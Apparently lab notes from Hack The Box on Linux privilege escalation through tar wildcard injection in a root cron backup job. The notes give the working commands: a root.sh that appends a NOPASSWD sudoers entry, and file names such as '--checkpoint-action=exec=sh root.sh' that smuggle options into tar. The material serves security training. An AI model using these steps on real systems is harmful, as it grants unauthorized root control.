Wildcard chars can be used as replacement chars and are interpreted by the shell before other actions. Examples:
| Character | Significance |
|---|---|
* |
An asterisk that can match any number of characters in a file name. |
? |
Matches a single character. |
[ ] |
Brackets enclose characters and can match any single one at the defined position. |
~ |
A tilde at the beginning expands to the name of the user home directory or can have another username appended to refer to that user's home directory. |
- |
A hyphen within brackets will denote a range of characters. |
Example of how wildcards are able to be used for privesc can be seen in the tar command.
htb_student@NIX02:~$ man tar
<SNIP>
Informative output
--checkpoint[=N]
Display progress messages every Nth record (default 10).
--checkpoint-action=ACTION
Run ACTION on each checkpoint.
--checkpoint-action option permits an EXEC action to be executed when a checkpoint is reached
- i.e. run an arbitrary OS command once the tar command executes. By creating files with these names when wildcard is specified
--checkpoint=1and--checkpoint-action=exec=sh root.shis passed to tar as cmdline options.
Consider below cron job, setup to backup /home/htb-student dir and create an archive set to run every minute.
- this is important - root user is running
taron this directory. this is what makes the below work
#
#
mh dom mon dow command
*/01 * * * * cd /home/htb-student && tar -zcf /home/htb-student/backup.tar.gz *
We can leverage wildcard in cronjob to write out the necessary commands as filenames with the above in mind. When cron job runs, these filenames will be interpreted as arguments and execute any command we specify.
htb-student@NIX02:~$ echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
htb-student@NIX02:~$ echo "" > "--checkpoint-action=exec=sh root.sh"
htb-student@NIX02:~$ echo "" > --checkpoint=1
htb-student@NIX02:~$ ls -la
total 56
drwxrwxrwt 10 root root 4096 Aug 31 23:12 .
drwxr-xr-x 24 root root 4096 Aug 31 02:24 ..
-rw-r--r-- 1 root root 378 Aug 31 23:12 backup.tar.gz
-rw-rw-r-- 1 htb-student htb-student 1 Aug 31 23:11 --checkpoint=1
-rw-rw-r-- 1 htb-student htb-student 1 Aug 31 23:11 --checkpoint-action=exec=sh root.sh
drwxrwxrwt 2 root root 4096 Aug 31 22:36 .font-unix
drwxrwxrwt 2 root root 4096 Aug 31 22:36 .ICE-unix
-rw-rw-r-- 1 htb-student htb-student 60 Aug 31 23:11 root.sh
When cron job runs again we'd check for newly added sudo privileges. sudo -l